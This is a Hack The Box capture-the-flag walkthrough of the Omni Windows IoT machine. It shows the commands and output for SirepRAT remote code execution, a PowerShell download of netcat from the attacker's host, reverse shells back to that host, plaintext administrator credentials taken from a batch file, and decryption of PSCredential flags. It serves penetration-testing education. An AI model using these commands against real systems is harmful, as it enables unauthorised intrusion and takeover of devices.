Omni Walkthrough - Hack The Box
Omni is a vulnerable Windows IoT machine on Hack The Box. This post will outline the penetration testing methodology used against the target and detail steps on how to successfully exploit and escalate privileges on the machine. A good understanding of Windows for IoT and PowerShell is required.
Using Nmap, we run a TCP SYN scan along with a UDP scan. The UDP scan comes up empty, but the TCP scan reveals some interesting services:
# Nmap 7.92 scan initiated Sun Dec 26 14:52:13 2021 as: nmap -sSV -p- -A -Pn -v -oA omni 10.129.2.27 Nmap scan report for 10.129.2.27 Host is up (0.025s latency). Not shown: 65529 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 135/tcp open msrpc Microsoft Windows RPC 5985/tcp open upnp Microsoft IIS httpd 8080/tcp open upnp Microsoft IIS httpd |_http-title: Site doesn't have a title. | http-auth: | HTTP/1.1 401 Unauthorized\x0D |_ Basic realm=Windows Device Portal |_http-server-header: Microsoft-HTTPAPI/2.0 29817/tcp open unknown 29819/tcp open arcserve ARCserve Discovery 29820/tcp open unknown 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port29820-TCP:V=7.92%I=7%D=12/26%Time=61C8820D%P=x86_64-pc-linux-gnu%r( SF:NULL,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(GenericLines,10, SF:"\*LY\xa5\xfb`\x04G\xa9m\x1c\xc9}\xc8O\x12")%r(Help,10,"\*LY\xa5\xfb`\x SF:04G\xa9m\x1c\xc9}\xc8O\x12")%r(JavaRMI,10,"\*LY\xa5\xfb`\x04G\xa9m\x1c\ SF:xc9}\xc8O\x12"); Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose Running (JUST GUESSING): Microsoft Windows XP|7 (89%) OS CPE: cpe:/o:microsoft:windows_xp::sp3 cpe:/o:microsoft:windows_7 Aggressive OS guesses: Microsoft Windows XP SP3 (89%), Microsoft Windows XP SP2 (86%), Microsoft Windows 7 (85%) No exact OS matches for host (test conditions non-ideal). Network Distance: 2 hops TCP Sequence Prediction: Difficulty=257 (Good luck!) IP ID Sequence Generation: Incremental Service Info: Host: PING; OS: Windows; CPE: cpe:/o:microsoft:windows TRACEROUTE (using port 135/tcp) HOP RTT ADDRESS 1 34.83 ms 10.10.16.1 2 34.97 ms 10.129.2.27 Read data files from: /usr/bin/../share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sun Dec 26 14:55:15 2021 -- 1 IP address (1 host up) scanned in 182.68 seconds
The output from the scan, including the HTTP server response, reveals that this is most likely a Windows machine. The response of the HTTP service running on port 8080 is particularly interesting. The Windows Device Portal string, indicates that this is a Windows IOT machine.
The server is protected using HTTP basic authentication, and the default username and password fail to work. Brute forcing credentials with Hydra isn’t going to be an option either, as we’re redirected after 4 unsuccessful authentication requests.
Running a Nikto scan doesn’t give us much new information on the HTTP server either.
There’s no option to enumerate directories on the server here, as we get a 401 response on all requests. With nothing else to immediately enumerate, we move on to the vulnerability assessment phase.
We don’t have much to go on here, other than this being a Windows IOT box. Perhaps it might be unpatched, so we begin by searching for vulnerabilities targeting Windows IOT.
Research bring us to an interesting exploit targeting the Sirep Test Service that’s built in and running on the official IOT images offered at Microsoft’s site.
Running the exploit against the target, attempting to download the hosts file, reveals that the target is indeed vulnerable.
(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 GetFileFromDevice --remote_path "C:\Windows\System32\drivers\etc\hosts" --v --------- --------- --------- # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a '#' symbol. # # For example: # # 22.214.171.124 rhino.acme.com # source server # 126.96.36.199 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost --------- <HResultResult | type: 1, payload length: 4, HResult: 0x0> <FileResult | type: 31, payload length: 824, payload peek: 'b'# Copyright (c) 1993-2009 Microsoft Corp.\r\n#\r\n# Th''>
Knowing that we have the capability for remote code execution, we transfer the Windows Netcat binary to the target using PowerShell’s Invoke-WebRequest.
(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args "/c powershell -exec bypass -c \"Invoke-WebRequest http://10.10.16.12/nc64.exe -OutFile C:\Windows\Temp\nc.exe\"" <HResultResult | type: 1, payload length: 4, HResult: 0x0>
After setting up a Netcat listener, we then run our command to catch a reverse shell.
(py3env) kali@kali:/mnt/kali-shared/HTB/Omni/SirepRAT$ python SirepRAT.py 10.129.2.27 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\cmd.exe" --args " /c start C:\Windows\Temp\nc.exe 10.10.16.12 443 -e cmd" <HResultResult | type: 1, payload length: 4, HResult: 0x0> <ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>
We have successfully exploited the machine and have our foothold.
kali@kali:~$ sudo nc -nlvp 443 [sudo] password for kali: listening on [any] 443 ... connect to [10.10.16.12] from (UNKNOWN) [10.129.2.27] 49670 Microsoft Windows [Version 10.0.17763.107] Copyright (c) Microsoft Corporation. All rights reserved. C:\windows\system32>
Yet another method to transfer our Netcat binary or other payload onto the machine would be to execute the following command to spin up an FTP server on the IOT Core device (as documented here, and initiate the transfer via FTP:
Information gathering and enumeration reveals that we are running as a default user:
C:\windows\system32>hostname hostname omni C:\windows\system32>echo %username% echo %username% omni$ C:\windows\system32>net users net users User accounts for \\ ------------------------------------------------------------------------------- Administrator app DefaultAccount DevToolsUser Guest sshd WDAGUtilityAccount The command completed with one or more errors.
Digging through files and folders doesn’t reveal anything immediately interesting, but a search for batch files (including hidden) suggests we might find some useful information in the more recent r.bat file.
C:\>dir /s /a *.bat dir /s /a *.bat Volume in drive C is MainOS Volume Serial Number is 3C37-C677 Directory of C:\Program Files\WindowsPowerShell\Modules\PackageManagement 08/21/2020 11:56 AM 247 r.bat 1 File(s) 247 bytes Directory of C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0 10/26/2018 10:36 PM 744 Build.bat 1 File(s) 744 bytes Directory of C:\Program Files\WindowsPowerShell\Modules\Pester\3.4.0\bin 10/26/2018 10:36 PM 925 Pester.bat 1 File(s) 925 bytes Total Files Listed: 3 File(s) 1,916 bytes 0 Dir(s) 572,678,144 bytes free
We find the usernames and passwords for the administrator and app users in plain text:
C:\>type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat" type "C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat" @echo off :LOOP for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete net user app mesh5143 net user administrator _1nt3rn37ofTh1nGz ping -n 3 127.0.0.1 cls GOTO :LOOP :EXIT
We now use these credentials to successfully log in as the administrator user to the Windows Device Portal.
From there, we navigate to Processes > Run Command and execute another Netcat reverse shell, which this time gives us a shell as the Administrator user.
kali@kali:~$ sudo nc -nlvp 443 listening on [any] 443 ... connect to [10.10.16.12] from (UNKNOWN) [10.129.2.27] 49672 Microsoft Windows [Version 10.0.17763.107] Copyright (c) Microsoft Corporation. All rights reserved. C:\windows\system32>echo %username% echo %username% Administrator
Running a search for the user.txt and root.txt flags, we find these in the C:\Data\Users\app and C:\Data\Users\administrator folders.
However, inspecting the contents, we discover that both flags are encrypted as PSCredential objects, but the usernames are in plain text.
PS C:\Data\Users\app> type user.txt type user.txt <Objs Version="188.8.131.52" xmlns="http://schemas.microsoft.com/powershell/2004/04"> <Obj RefId="0"> <TN RefId="0"> <T>System.Management.Automation.PSCredential</T> <T>System.Object</T> </TN> <ToString>System.Management.Automation.PSCredential</ToString> <Props> <S N="UserName">flag</S> <SS N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb010000009e131d78fe272140835db3caa288536400000000020000000000106600000001000020000000ca1d29ad4939e04e514d26b9706a29aa403cc131a863dc57d7d69ef398e0731a000000000e8000000002000020000000eec9b13a75b6fd2ea6fd955909f9927dc2e77d41b19adde3951ff936d4a68ed750000000c6cb131e1a37a21b8eef7c34c053d034a3bf86efebefd8ff075f4e1f8cc00ec156fe26b4303047cee7764912eb6f85ee34a386293e78226a766a0e5d7b745a84b8f839dacee4fe6ffb6bb1cb53146c6340000000e3a43dfe678e3c6fc196e434106f1207e25c3b3b0ea37bd9e779cdd92bd44be23aaea507b6cf2b614c7c2e71d211990af0986d008a36c133c36f4da2f9406ae7</SS> </Props> </Obj> </Objs>
As noted here, it’s important to recognise that the built-in Data Protection API (DPAPI) can encrypt and decrypt information by using keys from both the user and system account. This means, effectively, the encrypted information is only accessible if the same user logs in to the same machine:
Therefore, if another user logs in to the same machine, the encrypted password file can’t be decrypted, and if the same user copies the encrypted password file to another machine it can’t be decrypted.
What this means in our case is that as the Administrator user we can decrypt the root.txt PSCredential object, but will have to log in to the portal and catch a reverse shell as the app user to decrypt the user.txt object.
Dropping into a powershell prompt we can then decrypt the PSCredential objects using the following commands:
$credential = Import-CliXml -Path user.txt $credential.GetNetworkCredential().Password
Note that you will have to upload the Netcat binary onto the target as the app user for the necessary permissions to run it.
You can learn more about PSCredential objects here.
Patching the OS and not putting plain text credentials in a script (always a terrible idea) would have successfully prevented this exploitation vector.
This work is licensed under a Creative Commons Attribution-ShareAlike 4.0 International License.